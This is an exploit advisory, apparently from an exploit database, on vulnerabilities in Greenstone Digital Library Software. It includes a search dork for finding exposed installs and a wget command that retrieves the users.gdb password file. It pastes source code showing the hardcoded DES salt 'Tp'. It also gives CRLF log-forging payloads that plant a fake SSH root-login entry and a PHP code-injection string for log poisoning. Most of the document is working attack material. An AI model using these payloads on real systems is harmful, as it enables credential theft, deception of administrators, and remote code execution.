Greenstone XSS / Password Disclosure / Log Forging

ID 1337DAY-ID-19785
Type zdt
Reporter AkaStep
Modified 2012-11-23T00:00:00


Greenstone Digital Library Software suffers from cross site scripting, password file disclosure, broken salt, and log forging vulnerabilities.

Vulnerable Software: Greenstone Digital Library Software.
Official Site:
Dork:  inurl:gsdl/etc/

About software:

The aim of the Greenstone software is to empower users, 
particularly in universities, libraries, 
and other public service institutions,
to build their own digital libraries.
Digital libraries are radically reforming how information
is disseminated and acquired in UNESCO's partner communities
and institutions in the fields of education, science
and culture around the world, and particularly in developing countries. 
About Vulnerabilities.

This software: is prone to multiple vulnerabilities such as:

[*] Password file Disclosure,
[*] Cross Site Scripting,
[*] Log File forging,Log File poisoning,
[*] Default salt,
[*] Unrestricted access to system/configuration files.
(As well as to passwords file as mentinoned above.)

=================Let's Roll============================

Password  file disclosure:

(P.S Password encryption: Des (Unix))
===================== Reproduce =====================
$ wget && cat users.gdb
--2012-11-22 17:04:39--
Resolving (
Connecting to (||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12926 (13K) [text/plain]
Saving to: `users.gdb'

100%[==========================================>] 12,926      31.8K/s   in 0.4s

2012-11-22 17:04:40 (31.8 KB/s) - `users.gdb' saved [12926/12926]
.......Some junk snip........
                                admin<comment>created at install time
<username>admindemo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
demo<comment>Dummy 'demo' user with password 'demo' for authen-e collection

========================= END OF users.gbd============================

Known salt issuse (because this application uses "setpasswd" utility via 
hardcoded salt=>: Tp)
(Especially on windows systems)

 * setpasswd.cpp -- 
 * Copyright (C) 2000  The New Zealand Digital Library Project
 * A component of the Greenstone digital library software
 * from the New Zealand Digital Library Project at the
 * University of Waikato, New Zealand.
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * GNU General Public License for more details.
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

// setpasswd is a windows application that can be used to encrypt a password
// and write it (along with its corresponding username) to a gdbm database.

// it handles writing to the gdbm database itself to avoid having to call
// the txt2db console application (and therefore avoiding the console
// window popping up when called from another windows application).

// note that setpasswd does no checking to make sure that any of it's
// input arguments are valid (or even reasonable) values.

// this program should be compiled into a binary called setpw.exe (to be
// short enough not to mess with 16 bit Windows platforms).

// usage:
// setpw -u username -p password -o output_gdbm_file

#include "text_t.h"
#include "crypt.h"
#include "autoconf.h"
#include "systems.h"
#include "gdbmconst.h"
#include "gdbm.h"

#include <windows.h>

text_t username;
text_t password;
text_t output_gdbm_file;

bool parse_cmdline (LPSTR cmdline) {

  bool in_quote = false;
  text_t arg;
  text_tarray args;
  unsigned char *c = (unsigned char *)cmdline;
  while (*c != '\0') {
    if (*c == '"') {
      if (!in_quote) {
  in_quote = true;
      } else {
  in_quote = false;
  if (!arg.empty()) args.push_back (arg);
    } else if (*c == ' ' && !in_quote) {
      if (!arg.empty()) args.push_back (arg);
    } else {
      arg.push_back (*c);
  if (!arg.empty()) args.push_back (arg);
  text_tarray::const_iterator here = args.begin();
  text_tarray::const_iterator end = args.end();
  while (here != end) {
    if (*here == "-u" && (++here != end)) username = *here;
    else if (*here == "-p" && (++here != end)) password = *here;
    else if (*here == "-o" && (++here != end)) output_gdbm_file = *here;
    if (here != end) ++here;
  if (username.empty() || password.empty() || output_gdbm_file.empty()) {
    MessageBox (NULL, "Usage:\n setpasswd -u username -p password -o output_gdbm_file", 
    "setpasswd failed", MB_OK);
    return false;
  return true;

text_t crypt_text (const text_t &text) {
  static const char *salt = "Tp";
  text_t crypt_password;

  if (text.empty()) return "";

  // encrypt the password
  char *text_cstr = text.getcstr();
  if (text_cstr == NULL) return "";
  crypt_password = crypt(text_cstr, salt);
  delete []text_cstr;

  return crypt_password;

bool add_to_db () {

  int block_size = 0;
  GDBM_FILE dbf;
  char *dbname = output_gdbm_file.getcstr();

  // open the database
  int read_write = GDBM_WRCREAT;
  dbf = gdbm_open (dbname, block_size, read_write, 00664, NULL, 1);
  if (dbf == NULL) {
    MessageBox (NULL, "gdbm_open failed\n", "setpasswd", MB_OK);
    return false;

  datum key_data;
  key_data.dptr = username.getcstr();
  if (key_data.dptr == NULL) {
    MessageBox (NULL, "null key_data\n", "setpasswd", MB_OK);
    return false;
  key_data.dsize = strlen(key_data.dptr);

  text_t value = "<comment>\n";
  value += "<enabled>true\n";
  value += "<groups>administrator,colbuilder\n";
  value += "<password>" + password + "\n";
  value += "<username>" + username + "\n";
  datum value_data;
  value_data.dptr = value.getcstr();
  if (value_data.dptr == NULL) {
    MessageBox (NULL, "null value_data\n", "setpasswd", MB_OK);
    return false;
  value_data.dsize = strlen(value_data.dptr);
  // store the value
  if (gdbm_store (dbf, key_data, value_data, GDBM_REPLACE) < 0) {
    MessageBox (NULL, "gdbm_store failed\n", "setpasswd", MB_OK);
    return false;
  gdbm_close (dbf);

  delete []key_data.dptr;
  delete []value_data.dptr;
  delete []dbname;
  return true;

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow) {

  // parse command line arguments
  if (!parse_cmdline (lpCmdLine)) return 1;

  // encrypt the password
  password = crypt_text (password);

  // append the password and username to database
  return 0;





Log forging:"%0D%0A%0D%0AWarning: Accepted connection from unknown host to local port: 22 root logged in%29%0D%0A%0D%0A" cmd.exe\Program%20Files\Greenstone\%20directory%20owned?%29%0D%0A%0D%0A

Forged log:              (CTRL+F and search for:  host to local port: 22)


===================EXAMPLE OF =FORGED LOG====================
Error: the action "4?e="3"

Warning: Accepted connection from unknown host to local port: 22 root logged in)          <==Fake entry for Panic system administrator))))))

" cmd.exe" could not be found.

================END OF FORGED LOG=============

Log File Poisoning: (Usefull for LFI)"%0d%0a<?php phpinfo();?>%0d%0a%00%00

Poisoned Log can be found in the following places: 
site/etc/error.txt              (<=On Windows systems in ex i found it here)

Example of injected log:

Error: the action "4?e="

<?php phpinfo();?>

" could not be found.

# [2016-04-20]  #